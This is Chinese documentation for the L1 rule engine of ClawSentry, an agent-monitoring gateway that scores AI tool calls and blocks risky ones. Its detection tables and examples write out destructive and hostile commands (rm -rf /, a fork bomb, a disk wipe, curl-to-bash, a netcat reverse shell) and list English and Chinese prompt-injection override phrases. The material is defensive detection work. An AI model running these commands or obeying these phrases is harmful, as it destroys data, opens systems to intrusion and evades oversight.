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L1 规则引擎

决策引擎 · L1 规则引擎

零外部依赖,毫秒级确定性过滤

L1 是 ClawSentry 三层决策模型的第一层,也是唯一始终在线的决策层。完全基于确定性规则,不调用任何 LLM,通过 D1-D6 六维评分 + 八条短路规则(SC-1..SC-8)在每次工具调用前给出 allow / block / defer 判决,并决定是否升级到 L2/L3 深度审查。

D1-D6 六维评分 SC-1..SC-8 短路规则 < 1ms 决策延迟

概述

L1 是 ClawSentry 三层递进决策模型的第一层,也是唯一始终在线的决策层。每一个进入 Gateway 的 CanonicalEvent 都会经过 L1 评估,无一例外。

L1 完全基于确定性规则,不调用任何 LLM 接口,零外部依赖。典型决策延迟 < 1ms,确保 Agent 运行时的同步阻塞窗口尽可能短。

设计哲学

L1 的目标不是"准确地理解意图",而是快速过滤已知危险模式。对于需要语义理解的灰色地带操作,L1 会将其升级到 L2/L3 处理。

核心特性:

特性 描述
延迟 < 1ms (纯 CPU 正则匹配)
外部依赖 无 (不调用 LLM、不访问网络)
始终在线 处理 100% 的事件
降级行为 不适用 (L1 本身就是最终降级兜底)
实现类 L1PolicyEngine
输出 RiskSnapshot + CanonicalDecision
注入检测 D6 三层架构:启发式正则 + Canary Token + 可插拔 EmbeddingBackend

Skill Trust runtime binding rules

v0.8.0 起,L1 也消费 Skill Trust runtime evidence:runtime_path_disallowedruntime_source_ambiguousruntime_path_unverifiedruntime_content_unverifiedruntime_content_mismatchfirst_use_skill_package_review verdict 都会按 profile action 进入 risk snapshot。FSPR 和 L2/L3 只能追加 evidence;canonical allow/defer/block 仍由 Gateway policy engine 产生。v0.8.2 起 post-action provenance validator 已移除。

graph TD
    E[CanonicalEvent] --> D1[D1 工具危险度]
    E --> D2[D2 路径敏感度]
    E --> D3[D3 命令模式]
    E --> D4[D4 会话累积]
    E --> D5[D5 信任等级]
    E --> D6[D6 注入检测]

    D1 & D2 & D3 & D4 & D5 --> SC{短路规则?}
    SC -->|命中| RL1[直接定级]
    SC -->|未命中| BS[基础评分 base_score]
    D6 --> MUL[注入乘数 × 1.0-1.5]
    BS --> MUL
    MUL --> CS[合成评分 composite_score]
    CS --> RL2[评分定级]
    RL1 & RL2 --> RS[RiskSnapshot]
    RS --> DEC[风险→判决映射]
    DEC --> CD[CanonicalDecision]

D1-D6 六维评分体系

ClawSentry 将每个事件分解为六个风险维度进行评分。D1-D5 产生整数分值并互相独立;D6 采用连续浮点值,作为乘数放大基础评分,专门捕捉提示词注入和命令注入企图。

D1 — 工具类型危险度

取值范围:0-3

D1 根据事件中 tool_name 字段判断工具的固有危险程度。不同类型的工具被预分类到四个危险等级。

分值 等级 工具列表 含义
0 只读 read_file, list_dir, search, grep, glob, cat, head, tail 不会产生任何副作用
1 有限写入 write_file, edit_file, create_file, edit, write 在用户工作空间内写入文件
2 系统交互 http_request, install_package, fetch, web_fetch 与外部系统交互,有潜在副作用
3 高危 exec, sudo, chmod, chown, mount, kill, pkill 直接操作系统级资源

特殊处理:bash/shell 工具

tool_namebashshellterminalcommand 时,D1 不直接分类,而是进一步检查命令内容:

  • 若命令匹配高危模式 (D3 patterns) → D1=3
  • 若命令涉及系统路径 (/etc/, /usr/, /var/ 等) → D1=3
  • 其他情况 → D1=2
# 内部分类集合(简化展示)
_D1_READONLY_TOOLS = {"read_file", "list_dir", "search", "grep", "glob", ...}
_D1_LIMITED_WRITE  = {"write_file", "edit_file", "create_file", ...}
_D1_SYSTEM_TOOLS   = {"http_request", "install_package", "fetch", ...}
_D1_HIGH_DANGER    = {"exec", "sudo", "chmod", "chown", "mount", ...}

缺失 tool_name 的保守回退

当事件缺少 tool_name 字段时,D1 取保守默认值 2,并在 missing_dimensions 中记录 "d1"


D2 — 目标路径敏感度

取值范围:0-3

D2 分析事件涉及的文件路径,判断目标资源的敏感程度。路径从 payload 中的 pathfile_pathfiletargetdestinationsource 字段提取,也会从 command 字段中启发式解析。

分值 等级 匹配模式 示例
0 安全 用户工作空间内的常规文件(无敏感模式) ./src/main.py, README.md
1 配置 \.config\.\.env\.rc$Makefile$Dockerfile$docker-compose .env.local, Dockerfile
2 凭证 is_credential_path().env.pem.key.p12.pfx.jks.keystoreid_rsaid_ed25519credentials.secret.token.password.aws/.ssh/,或路径含 .gnupg/ ~/.ssh/id_rsa, cert.pem
3 系统关键 ^(/etc/\|/usr/\|/var/\|/sys/\|/proc/\|/boot/) /etc/shadow, /proc/1/maps
# risk_snapshot.py
_D2_SYSTEM_CRITICAL = re.compile(r"^(/etc/|/usr/|/var/|/sys/|/proc/|/boot/)")
_D2_CONFIG_PATTERNS = re.compile(r"(\.config\.|\.env|\.rc$|Makefile$|Dockerfile$|docker-compose)", re.I)
# 凭证路径委托给 risk_signals.is_credential_path() — 见下方
# risk_signals.py:凭证路径正则(共享于多个分析器)
_CREDENTIAL_PATH_RE = re.compile(
    r"\.(env|pem|key|p12|pfx|jks|keystore)(?:$|[^a-z0-9])|"
    r"id_rsa|id_ed25519|credentials|\.secret|\.token|\.password|"
    r"\.aws/|\.ssh/",
    re.IGNORECASE,
)

多路径取最大值

当一个事件涉及多个路径时(例如 cp /etc/shadow /tmp/leak),D2 取所有路径分值的最大值

缺失路径的保守回退

_extract_paths(event) 返回空(既无 path/file_path/... 字段,也无可解析的命令行路径)时,D2 取保守默认值 1,并在 missing_dimensions 中记录 "d2"


D3 — 命令模式危险度

取值范围:0-3

D3 只对 bash/shell/exec 类工具生效,分析 payload.command 字段中的具体命令内容。对于非 shell 工具,D3 固定为 0

已知无副作用的只读命令:

ls, cat, echo, pwd, whoami, date, env, printenv,
hostname, uname, id, wc, sort, uniq, diff,
head, tail, less, more, file, which, type

有限范围的写入操作:

cp, mv, mkdir, touch, git add, git commit, ln, rename

可能产生不可逆影响的操作:

rm, git push, git reset, npm install, pip install,
yarn add, apt install, yum install

通过正则匹配的已知高危模式,命中即触发短路规则 SC-2。完整列表见 risk_snapshot._D3_HIGH_DANGER_PATTERNS

类别 模式 示例
递归删除 rm\s+.*-[^\s]*r[^\s]*frm\s+-rf rm -rf /, rm -rf ~/*
磁盘直写 \bdd\b.*\bof\s*=\s*/dev/ dd if=/dev/zero of=/dev/sda
格式化 \bmkfs\b mkfs.ext4 /dev/sda1
Fork 炸弹 :\(\)\s*\{ :(){ :\|:& };:
远程下载执行 curl\s.*\|\s*(sh\|bash)wget\s.*\|\s*(sh\|bash) curl https://x \| bash
设备覆写 >[^\S\r\n]*/dev/(?!null\b) echo x > /dev/sda
强制推送 git\s+push\s+.*--force 覆盖远程历史
全开权限 chmod\s+777 安全配置破坏
提权 \bsudo\b 突破最小权限
Windows 销毁 rmdir\s+/s\s+/qRemove-Item\s+.*-Recurse\s+.*-Forcedel\s+/[sq]\s+/[sq] 递归强删
PowerShell 提权 Set-ExecutionPolicy\s+(?:Unrestricted\|Bypass) 关闭脚本签名
用户创建 net\s+(?:user\|localgroup)\s+.*\s+/add 添加本地账号
macOS 磁盘销毁 diskutil\s+(?:secureErase\|eraseVolume\|eraseDisk) 安全擦除
防火墙篡改 iptables\s+(?:-F\|-X)ufw\s+(?:disable\|reset)netsh\s+advfirewall\s+set.*state\s+off 关闭/清空规则
日志清除 wevtutil\s+cl\s+(?:System\|Security\|Application) 清除 Windows 事件日志
反向 shell (?:nc\|ncat\|netcat)\s+.*-e\s+(?:/bin/\|cmd)\|\s*IEX\s*\( bind/reverse shell
安全擦除 shred\s+-[a-z]*ucipher\s+/w: 不可恢复擦除

此外,_has_dangerous_command_pattern 还委托 risk_signals.has_remote_pipe_exec_commandhas_process_sub_remote_command 检测 bash <(curl ...) 等进程替换形式。


D4 — 会话风险累积

取值范围:0-2

D4 不基于当前事件本身,而是基于同一会话中历史高危事件的累积次数。这是 ClawSentry 的"记忆"机制 —— 即使单个操作看似无害,如果一个会话内已多次触发高风险评估,D4 会将该会话的后续操作提升至更高警戒级别。

分值 条件 含义
0 高危事件数 < 2 正常会话
1 2 <= 高危事件数 < 5 会话有异常倾向
2 高危事件数 >= 5 会话高度可疑

D4 由 SessionRiskTracker 维护,每当一个事件的最终风险等级为 HIGH 或 CRITICAL 时,该会话的高危计数加一。

class SessionRiskTracker:
    """追踪每个会话的高危事件累积。"""
    DEFAULT_MAX_SESSIONS = 10_000   # LRU 淘汰上限

    def get_d4(self, session_id: str) -> int:
        count = self._high_risk_counts.get(session_id, 0)
        if count >= 5: return 2
        if count >= 2: return 1
        return 0

    def record_high_risk_event(self, session_id: str) -> None:
        self._high_risk_counts[session_id] = (
            self._high_risk_counts.get(session_id, 0) + 1
        )

与 SessionEnforcementPolicy 的关系

D4 记录会话级风险趋势供评分使用,而 SessionEnforcementPolicy 是更激进的策略层 —— 当累积高危次数超过阈值时,直接将整个会话锁定为强制 DEFER/BLOCK/L3 模式。两者互相补充但独立运作。

D4 频率异常检测

除了历史高危事件累积之外,SessionRiskTracker 还内置频率异常检测(E-8),捕捉同一工具被异常高频调用的行为(如爆破、遍历、批量写入等):

模式 触发条件 D4 加分 说明
Burst 同一工具 ≥ 10 次 / 5 秒 → d4=2 短时高频调用,疑似脚本化攻击
Repetitive 同一工具 ≥ 20 次 / 60 秒 → d4=1 分钟级重复调用,疑似遍历
Rate 所有工具合计 ≥ 60 次 / 分钟 → d4=1 整体速率过高,疑似自动化操作

三种模式独立检测,D4 = max(历史累积分, 频率异常分)

# 频率检测配置变量
CS_D4_FREQ_BURST_COUNT=10          # burst 触发阈值(次数)
CS_D4_FREQ_BURST_WINDOW_S=5.0      # burst 时间窗口(秒)
CS_D4_FREQ_REPETITIVE_COUNT=20     # repetitive 触发阈值
CS_D4_FREQ_REPETITIVE_WINDOW_S=60.0
CS_D4_FREQ_RATE_LIMIT_PER_MIN=60   # rate 整体速率阈值(次/分钟)

如何关闭频率检测

若项目中 Agent 有合法的高频调用需求(如批量代码生成),可调高阈值或设置 CS_D4_FREQ_BURST_COUNT=9999 有效禁用。


D5 — Agent 信任等级

取值范围:0-2

D5 基于 DecisionContext 中的 agent_trust_level 字段,评估发出请求的 Agent 是否被授予了适当的信任级别。

分值 信任等级 含义
0 PRIVILEGED / ELEVATED 已获显式提权,降低风险权重
1 STANDARD 默认信任级别
2 UNTRUSTED 未认证或低信任 Agent

缺失上下文的保守回退

DecisionContext 为空或 agent_trust_level 未设置时,D5 取保守默认值 2(视为不信任),并在 missing_dimensions 中记录 "d5"


D6 — 注入检测

取值范围:0.0-3.0(连续浮点值)

D6 是 ClawSentry E-4 引入的第六个风险维度,专门检测提示词注入(Prompt Injection)和命令注入(Command Injection)企图。与 D1-D5 的整数评分不同,D6 采用连续浮点值,通过三层检测架构综合评分。

三层检测架构:

层级 名称 机制 分值贡献
Layer 1 启发式正则 弱模式(22 条,含中文,+0.3/条,上限 1.5)
强模式(17 条,含中文,+0.8/条,上限 2.4)
工具特定模式(+0.5/条,上限 1.0)
0.0–3.0
Layer 2 Canary Token 在载荷中嵌入随机 token,检测是否泄露到外部 +1.5(若命中)
Layer 3 向量相似度 可插拔 EmbeddingBackend Protocol,与已知攻击语料比较余弦相似度(阈值 0.75) 0.0–2.0

最终 D6 = min(Layer1 + Layer2 + Layer3, 3.0)。

偏向误导性话术,触发条件宽松。含 10 条英文模式 + 12 条中文模式:

英文模式:

  • ignore previous instructions
  • disregard above / disregard prior
  • new instructions
  • system: you are now
  • forget everything / start over fresh
  • from now on
  • <|endoftext|>(GPT 控制 token)
  • ### Instruction:
  • must now immediately 类命令

中文模式(6 类):

  • 忽略/遗忘类:忽略之前的指令忘记所有规则抛弃约束无视之前所有指令
  • 覆盖/替换类:覆盖安全规则替换系统提示修改指令
  • 新指令类:新的指令如下执行以下命令
  • 时间锚定类:从现在开始今后从此刻起
  • 安全绕过类:不要检查跳过验证
  • 角色扮演类:你现在是一个黑客

明确的注入技术特征。含 7 条英文模式 + 8 条中文模式 + 2 条混合模式:

英文模式:

  • <script 标签(XSS 注入)
  • data:text/html;base64,(Base64 编码页面,长度限界 ≤ 2048)
  • eval( / exec( / __import__( (代码执行)
  • <!--[^>]*ignore(HTML 注释隐藏注入)
  • Unicode 零宽字符(393 个不可见码点检测,排除 U+FE0F emoji)
  • ${VAR}...curl/wget(环境变量注入执行)
  • git push http://user:pass@(凭证泄露)

中文模式:

  • 关闭安全检查禁用过滤器
  • 突破限制绕过安全机制
  • 你现在扮演一个没有限制的AI(角色扮演绕过)
  • [系统 提示/指令/命令/消息](系统标记伪造,需关键词匹配)
  • data:base64 中文变体
  • 忽略/遗忘/忘记/抛弃 ... instructions/rules(混合中英)

对特定工具的专属检测:

  • read_file<!-- IMPORTANT ... --> 隐藏指令、Markdown 像素追踪图片(外部 URL)
  • http_request<script>...fetch( 响应注入、CSS font-size: 0 隐藏内容

D6 全局放大效应:

D6 不简单累加到综合分,而是作为乘数放大基础评分:

D6 值 注入乘数 效果
0.0 1.00 无影响
1.5 1.25 基础评分提升 25%
3.0 1.50 基础评分提升 50%

D6 最低保证: 当 D6 >= 2.0 且当前风险为 LOW 时,系统强制升级为 MEDIUM,防止高置信度注入因基础分低而被漏过。

NFKC 穿透: 所有注入检测函数在匹配前自动执行 NFKC Unicode 归一化 + 393 个不可见码点剥离(text_utils.normalize_text()),防止全角字符伪装(如 IgnoreIgnore)和不可见字符绕过。

ReDoS 安全: 所有攻击模式正则通过 compile_safe_regex() 编译,自动检测嵌套量词(含交替分支内的重复),拒绝可能导致 ReDoS 的危险正则。

EmbeddingBackend 扩展接口:

from clawsentry.gateway.injection_detector import EmbeddingBackend, VectorLayer, InjectionDetector

class MyBackend:
    def max_similarity(self, text: str) -> float:
        # 使用 sentence-transformers 等计算与已知攻击样本的余弦相似度
        return similarity_score  # 0.0-1.0

detector = InjectionDetector(
    vector_layer=VectorLayer(MyBackend(), threshold=0.75)
)

Layer 3 默认禁用(无 backend 时 score 固定返回 0.0),按需启用不影响其他评分层。

外部内容来源安全加成

ClawSentry 通过 infer_content_origin() 推断每个事件的内容来源,对来自外部输入(网络响应、用户粘贴文本等)的事件额外增加安全权重:

来源类型 推断依据 D6 额外加成 post-action 乘数
external tool_nameweb_fetch/http_request 等,或 _clawsentry_meta.content_origin=external +0.3 ×1.3
user 用户直接输入
unknown 无法推断

来源推断结果注入 CanonicalEvent._clawsentry_meta.content_origin,供 D6 注入检测和 Post-action 分析器读取。

CS_EXTERNAL_CONTENT_D6_BOOST=0.3               # 外部内容 D6 额外加分(默认 0.3)
CS_EXTERNAL_CONTENT_POST_ACTION_MULTIPLIER=1.3  # 外部内容 post-action 评分乘数

评分合成

六个维度评分完成后,ClawSentry 按以下流程合成最终风险等级。

短路规则

短路规则在合成评分之前或之后触发:SC-4 / SC-7 与基于 D1-D3 的 SC-1..SC-3 在 base_score 之前检查;SC-8 在 effect/taint 证据合并阶段触发。一旦命中即直接确定(或最低保证)风险等级。RiskSnapshot.short_circuit_rule 字段记录命中的规则名(仅允许 SC-1..SC-8)。

规则 ID 条件 触发结果 说明
SC-1 D1==3 and D2>=2 CRITICAL 高危工具 + 敏感路径 → 绝对禁止
SC-2 D3==3 CRITICAL 高危命令模式(rm -rf、fork bomb、curl \| sh 等)→ 绝对禁止
SC-3 D1==0 and D2==0 and D3==0 LOW 纯只读操作 → 安全放行
SC-4 effect_envelopedisabled_capability_equivalentconfidence == "high" MEDIUM(normal)/ HIGH(strict、benchmark) 已禁用工具的等价能力调用 → operator review
SC-7 script_analysis_unavailablewrapper_chain_unresolved,且 mode in {strict, benchmark} HIGH 脚本/包装链无法解析(仅严格模式触发)
SC-8 generated_script_future_exec 证据 + 低信任 skill 证据 MEDIUM(normal)/ HIGH(strict、benchmark),并产生 DEFER 写入未来执行入口的脚本 → operator review

SC-5 / SC-6 已保留预设

RiskSnapshot.short_circuit_rule 验证器接受 SC-1..SC-8,但当前代码路径未发出 SC-5 / SC-6,作为后向兼容预留。

短路示例

sudo rm -rf /etc/shadow:D1=3、D2=3、D3=3,命中 SC-1 与 SC-2(首匹配为 SC-1),直接定级为 CRITICAL,无需计算合成分。

合成评分公式

当没有短路规则命中时,按以下 v2 公式计算合成分:

\[ \text{base\_score} = 0.4 \times \max(D1, D2, D3) + 0.25 \times D4 + 0.15 \times D5 \]
\[ \text{composite\_score} = \text{base\_score} \times \left(1.0 + 0.5 \times \frac{D6}{3.0}\right) \]
flowchart TD
    INPUT["CanonicalEvent\n(pre_action)"]
    SC{短路规则\n命中?}
    D1D2D3["计算 max(D1,D2,D3)\nD4, D5"]
    BASE["base_score =\n0.4×max(D1,D2,D3) + 0.25×D4 + 0.15×D5"]
    D6CHECK{D6 > 0?}
    MUL["composite = base × (1.0 + 0.5×D6/3.0)\n最大放大倍数 1.5×"]
    NOMUL["composite = base_score\n(D6=0, 公式退化)"]
    LEVEL["风险等级映射\nLOW / MEDIUM / HIGH / CRITICAL"]

    INPUT --> SC
    SC -->|"SC-1/SC-2 命中"| CRIT["直接 CRITICAL"]
    SC -->|"SC-3 命中"| LOW["直接 LOW"]
    SC -->|"未命中"| D1D2D3
    D1D2D3 --> BASE
    BASE --> D6CHECK
    D6CHECK -->|"是"| MUL
    D6CHECK -->|"否"| NOMUL
    MUL & NOMUL --> LEVEL

D6 作为注入乘数(范围 1.0-1.5)放大基础评分;D6=0 时公式退化为纯 base_score,完全向后兼容。

D6 乘数对 base_score 的放大效果示例(base=1.20,有历史高危记录会话中的 pip install,D4=1):

D6 值 乘数公式 1.0 + 0.5×(D6/3.0) 乘数 base=1.20 时 composite 风险等级变化
0.0 1.0 + 0.5 × 0.00 1.00 1.20 MEDIUM(触发 L2)
1.5 1.0 + 0.5 × 0.50 1.25 1.50 HIGH → BLOCK
2.0 1.0 + 0.5 × 0.67 1.33 1.60 HIGH → BLOCK
3.0 1.0 + 0.5 × 1.00 1.50 1.80 HIGH → BLOCK

D6 ≥ 1.5 时,将原本处于 MEDIUM 区间的操作直接提升为 HIGH 拦截。

评分→风险等级映射

合成分范围 风险等级
< 0.8 LOW
0.8 – 1.5 MEDIUM
1.5 – 2.2 HIGH
>= 2.2 CRITICAL

风险→判决映射

L1 将风险等级映射为 CanonicalDecision,判决结果取决于事件类型和风险等级的组合。

按事件类型分流

graph TD
    E[CanonicalEvent] --> ET{event_type?}
    ET -->|post_action / post_response / error / session| OBS[ALLOW — 仅观测]
    ET -->|pre_prompt| FO[ALLOW — fail-open]
    ET -->|pre_action| RA{risk_level?}

    RA -->|LOW| AL[ALLOW]
    RA -->|MEDIUM| AM[ALLOW + 审计]
    RA -->|HIGH| BH[BLOCK]
    RA -->|CRITICAL| BC[BLOCK]

事件类型与阻塞语义

  • 非阻塞事件 (post_action, post_response, error, session):始终 ALLOW。这些事件是已完成动作的通知,阻塞没有意义。
  • pre_prompt:始终 ALLOW (fail-open)。不阻止用户输入。
  • pre_action:唯一的阻塞控制点。根据风险等级决定放行或拦截。

pre_action 的判决矩阵

风险等级 / 信号 判决 语义
LOW(无 DEFER 信号) ALLOW 安全操作,直接放行
MEDIUM(无 DEFER 信号) ALLOW 放行但记录审计日志,同时触发 L2 分析(除非 benchmark 关闭)
HIGH BLOCK 高风险操作,拦截并返回拒绝原因
CRITICAL BLOCK 绝对禁止,无条件拦截
rule_hitsdisabled_capability_equivalent(且未升级到 HIGH/CRITICAL) DEFERfinal=False Disabled 工具等价能力 → operator review
ReviewRoutingIntent.policy_action == "defer" DEFER Gateway-owned evidence routing requires operator review
short_circuit_rule == "SC-8" DEFER 未来执行入口写入 + 低信任 skill 证据
Session scope 评估输出 DENY / DEFER BLOCK / DEFER session-scope 策略层覆盖(policy_id 改为 session-scope

非阻塞事件类型(post_actionpost_responseerrorsessionpre_prompt)始终返回 ALLOW,由 L1 引擎直接 short-circuit。


风险评估快照(RiskSnapshot)

RiskSnapshot 是 L1 评估的完整输出,Pydantic frozen 模型,一旦生成即不可变。它在整个决策和重试生命周期中保持不变,是后续 L2/L3 分析的基准输入。

class RiskSnapshot(BaseModel):
    model_config = ConfigDict(frozen=True)

    risk_level: RiskLevel                      # 最终风险等级
    composite_score: float                     # >= 0;v2: base × injection_multiplier
    dimensions: RiskDimensions                 # D1-D6 各维度分值
    short_circuit_rule: Optional[str]          # SC-1..SC-8 或 None
    missing_dimensions: list[str]              # 例如 ["d1", "d5"]
    classified_by: ClassifiedBy                # L1 / L2 / L3 / manual
    classified_at: str                         # UTC ISO8601
    override: Optional[RiskOverride]           # L2 升级时的原始等级与原因
    l1_snapshot: Optional[RiskSnapshot]        # L2 升级时保留的 L1 原始快照
    l3_trace: Optional[dict]                   # L3 推理轨迹(exclude=True,不外发)
    l2_l3_summary: Optional[dict]              # L2/L3 执行摘要
    rule_hits: list[str]                       # skill-trust / effect / taint 规则命中
    skill_trust_findings: list[dict]           # skill 信任评估证据
    taint_flow_summary: Optional[dict]         # 污点流证据(rule_ids、command_hash 等)
    effect_summary: Optional[dict]             # 行为效果归一化摘要

ClassifiedBy 枚举

L1L2L3manual。L1 引擎首次产出时为 L1;当 L2/L3 升级了风险等级后,classified_by 改为对应层(L2L3),且 l1_snapshot 字段保留升级前的原始快照。

RiskDimensions 字段

class RiskDimensions(BaseModel):
    d1: int    = Field(..., ge=0, le=3)   # 工具类型危险度
    d2: int    = Field(..., ge=0, le=3)   # 目标路径敏感度
    d3: int    = Field(..., ge=0, le=3)   # 命令模式危险度
    d4: int    = Field(..., ge=0, le=2)   # 会话风险累积(含 E-8 频率)
    d5: int    = Field(..., ge=0, le=2)   # Agent 信任等级
    d6: float  = Field(default=0.0, ge=0.0, le=3.0)   # 注入检测评分

rule_hits 常见来源

rule_hits 是一个字符串列表,记录 L1 评估期间触发的非 D1-D6 主线信号,主要来自三类:

来源 示例 rule_id 含义
Skill Trust unknown_skill_identityskill_hash_mismatchambiguous_skill_aliasprovenance_label_mismatchfirst_use_scan_not_started Skill Trust
Effect Envelope disabled_capability_equivalentgenerated_script_future_execscript_analysis_unavailablewrapper_chain_unresolved 行为效果归一化命中
Taint Flow remote_fetch_to_interpretersensitive_source_to_network_sinkarchive_extract_then_executebulk_destructive_sequencepersistence_entrypoint_writespreadsheet_downstream_payload 多步污点链

实际评估示例

以下示例展示不同命令在 D1-D6 各维度的评分过程和最终判决。

示例 1:安全的只读操作

Event: tool_name="read_file", payload={"path": "src/main.py"}
Agent: STANDARD trust
Session: 首次事件
维度 分值 原因
D1 0 read_file 属于只读工具集
D2 0 src/main.py 不匹配任何敏感路径模式
D3 0 非 bash/shell 工具,固定为 0
D4 0 会话内无高危历史
D5 1 STANDARD 信任等级

短路检查: 命中 SC-3 (D1=0, D2=0, D3=0) → 直接定级 LOW

判决: ALLOW — 安全放行


示例 2:中等风险的包安装

Event: tool_name="bash", payload={"command": "pip install requests"}
Agent: STANDARD trust
Session: 1 次高危历史
维度 分值 原因
D1 2 bash 工具,命令不含高危模式也不涉及系统路径
D2 1 路径缺失,保守回退
D3 2 pip install 匹配潜在破坏模式
D4 0 高危事件数 < 2
D5 1 STANDARD 信任等级

短路检查: 无命中 合成分(v2,D6=0.0): base = 0.4×max(2,1,2) + 0.25×0 + 0.15×1 = 0.8 + 0 + 0.15 = 0.95MEDIUM

判决: ALLOW (审计记录),触发 L2 分析


示例 3:高危系统操作

Event: tool_name="bash", payload={"command": "sudo chmod 777 /etc/passwd"}
Agent: UNTRUSTED
Session: 3 次高危历史
维度 分值 原因
D1 3 bash + 命令含 sudo/chmod 777 高危模式
D2 3 /etc/passwd 匹配系统关键路径
D3 3 sudochmod 777 均命中高危模式
D4 1 高危事件数 = 3 (在 [2,5) 区间)
D5 2 UNTRUSTED Agent

短路检查: 命中 SC-1 (D1=3, D2>=2) 和 SC-2 (D3=3) → 直接定级 CRITICAL

判决: BLOCK — 绝对禁止,并记录详细原因


示例 4:Fork 炸弹

Event: tool_name="bash", payload={"command": ":(){ :|:& };:"}
Agent: STANDARD trust
Session: 无历史
维度 分值 原因
D1 3 bash + 命令匹配高危模式 (fork bomb)
D2 1 无路径信息,保守回退
D3 3 Fork bomb 正则 :\(\)\s*\{ 命中
D4 0 无历史
D5 1 STANDARD

短路检查: 命中 SC-2 (D3=3) → 直接定级 CRITICAL

判决: BLOCK


报表指标不会默认改变 L1 判决

当前指标优化新增的 latest_composite_scoresession_risk_sumsession_risk_ewmarisk_points_sumwindow_risk_summarysystem_security_posture 属于报表 / SSE / Dashboard / Enterprise OS 展示合同。它们默认不参与 L1 短路规则、风险等级阈值或 allow/block/defer 判决。

字段 L1 默认读取 用途边界
latest_composite_score 展示最新 composite score;L1 仍以当前 snapshot 内部计算为准。
session_risk_sum / session_risk_ewma 窗口趋势和健康分展示;不替代 D1-D6 权重或阈值。
risk_points_sum 解释风险压力;不自动替代 L3 trigger 的内部累计逻辑。
window_risk_summary API/SSE 窗口聚合容器;不回写 DecisionContext,除非调用方显式设置 manual escalation flags。
system_security_posture Enterprise OS / Dashboard 顶层态势;不改变单事件判决。
cumulative_score Legacy 兼容字段;不要作为新窗口累计分。

D4 归一化:默认 shadow 模式

若引入 D4 归一化、平滑或标准化字段,必须默认以 shadow 指标发布,不能直接替换 dimensions_latest.d4、L1 短路规则或风险阈值。只有在单独配置和测试明确开启后,才可影响判决路径。

L1 → L2 升级条件

L1 不仅产生自己的判决,还决定是否将事件升级到 L2 语义分析层。升级检查由 _should_run_l2() + _automatic_l2_trigger_reason() 共同决定:当 requested_tier ∈ {L2, L3} 时无条件升级;否则依据下表的"自动触发原因"。

自动 L2 触发原因(按优先级)

触发原因 条件 来源
contextual_review_required L1 snapshot 带有 contextual analyzer 必须复核的信号 policy_engine._automatic_l2_trigger_reason
fspr_package_review / runtime_binding_identity_conflict Skill Trust routing intent 请求 L2/L3 review 同上
key_domain_event 事件文本匹配 KEY_DOMAIN_PATTERNprod/production/credential/secret/token/password/key semantic_analyzer.KEY_DOMAIN_PATTERN
medium_pre_action event_type == PRE_ACTION 且 L1 风险等级 == MEDIUM policy_engine._automatic_l2_trigger_reason
manual_l2_escalation DecisionContext.session_risk_summary 含手动升级标志 semantic_analyzer.has_manual_l2_escalation_flag

自动触发的抑制条件

抑制条件 行为
requested_tier == L1rule_hitsdisabled_capability_equivalent 自动触发原因被清空 → 不升级 L2,输出 DEFER 由 operator review
mode == "benchmark" 且任一 benchmark 自动 L2 开关开启,触发原因为 medium_pre_action,同时 L1 authority 为 allow_or_audit、effect 仅含安全只读/枚举/环境探测目标 自动触发原因被清空 → 不升级 L2,写入 l2_l3_summary.status = "readonly_fast_path"
mode == "benchmark" 且触发原因为 medium_pre_action,但 benchmark_l2_auto_enabled == falsebenchmark_medium_l2_auto_enabled == false 不调用 L2,写入 l2_l3_summary.disabled_reason = "benchmark_auto_l2_disabled"
mode == "benchmark" 且触发原因为 key_domain_event,但 benchmark_l2_auto_enabled == falsebenchmark_key_domain_l2_auto_enabled == false 不调用 L2,写入 l2_l3_summary.disabled_reason = "benchmark_auto_l2_disabled"

Tier 重写

输入 重写结果
ReviewRoutingIntent.recommended_tier == "l3" requested_tier ← L3
ReviewRoutingIntent.recommended_tier == "l2"requested_tier == L1 requested_tier ← L2
requested_tier == L2l3_routing_mode == "replace_l2" 且 analyzer 支持 L3 requested_tier ← L3

升级只增不减(upgrade-only)

_run_l2_analysis 中以 _max_risk_level(target_level, l1_snapshot.risk_level) 强制保证 L2 输出的风险等级不能低于 L1。如果 L2 在指定预算内未完成(actual_tier == DecisionTier.L1),保留 L1 快照并标记 l2_l3_summary.status = "degraded_to_l1"


降级回退

当 Gateway 不可达时(网络中断、服务未启动等),Adapter 使用本地降级策略生成决策,而非让事件悬挂或无限等待。

def make_fallback_decision(event, risk_hints_contain_high_danger=False):
    ...
事件类型 降级判决 策略
pre_action + 高危标记 BLOCK Fail-closed:宁可误拦
pre_action + 非高危 DEFER 交由人工确认 (retry_after_ms=1000)
pre_prompt ALLOW Fail-open:不阻止用户输入
其他 (post_*, error, session) ALLOW Fail-open:观测类事件无需阻塞

高危 fail-closed,低危 fail-open

这是 AHP 协议的核心降级原则。当监督系统本身出现故障时,对高危操作保持拦截(宁可误报),对低危操作保持放行(避免瘫痪 Agent)。


配置

L1 引擎本身零配置即可运行。以下环境变量影响与 L1 相关的行为:

会话策略

环境变量 说明 默认值
AHP_SESSION_ENFORCEMENT_ENABLED 启用会话级强制策略(在 L1 评估后检查) false
AHP_SESSION_ENFORCEMENT_THRESHOLD 会话内高危事件触发强制策略的阈值 3
AHP_SESSION_ENFORCEMENT_ACTION 强制策略动作 (defer/block/l3_require) defer
CS_RATE_LIMIT_PER_MINUTE Gateway 速率限制(超限返回 ENGINE_UNAVAILABLE) 300

D4 频率异常检测

环境变量 说明 默认值
CS_D4_FREQ_BURST_COUNT Burst 模式触发阈值(同工具次数) 10
CS_D4_FREQ_BURST_WINDOW_S Burst 时间窗口(秒) 5.0
CS_D4_FREQ_REPETITIVE_COUNT Repetitive 模式触发阈值 20
CS_D4_FREQ_REPETITIVE_WINDOW_S Repetitive 时间窗口(秒) 60.0
CS_D4_FREQ_RATE_LIMIT_PER_MIN Rate 模式整体速率阈值(次/分钟) 60

外部内容安全

环境变量 说明 默认值
CS_EXTERNAL_CONTENT_D6_BOOST 外部内容来源时 D6 额外加分 0.3
CS_EXTERNAL_CONTENT_POST_ACTION_MULTIPLIER 外部内容来源时 post-action 评分乘数 1.3

风险阈值与评分权重

D1-D5 的短路规则在源码中硬编码,综合评分阈值和 D6 参数可通过以下变量调整:

环境变量 说明 默认值
CS_THRESHOLD_MEDIUM MEDIUM 风险起始阈值 0.8
CS_THRESHOLD_HIGH HIGH 风险起始阈值 1.5
CS_THRESHOLD_CRITICAL CRITICAL 风险起始阈值 2.2
CS_D6_INJECTION_MULTIPLIER D6 乘数权重(公式中 0.5 × D6/3.0 的系数) 0.5

使用预设快速调整

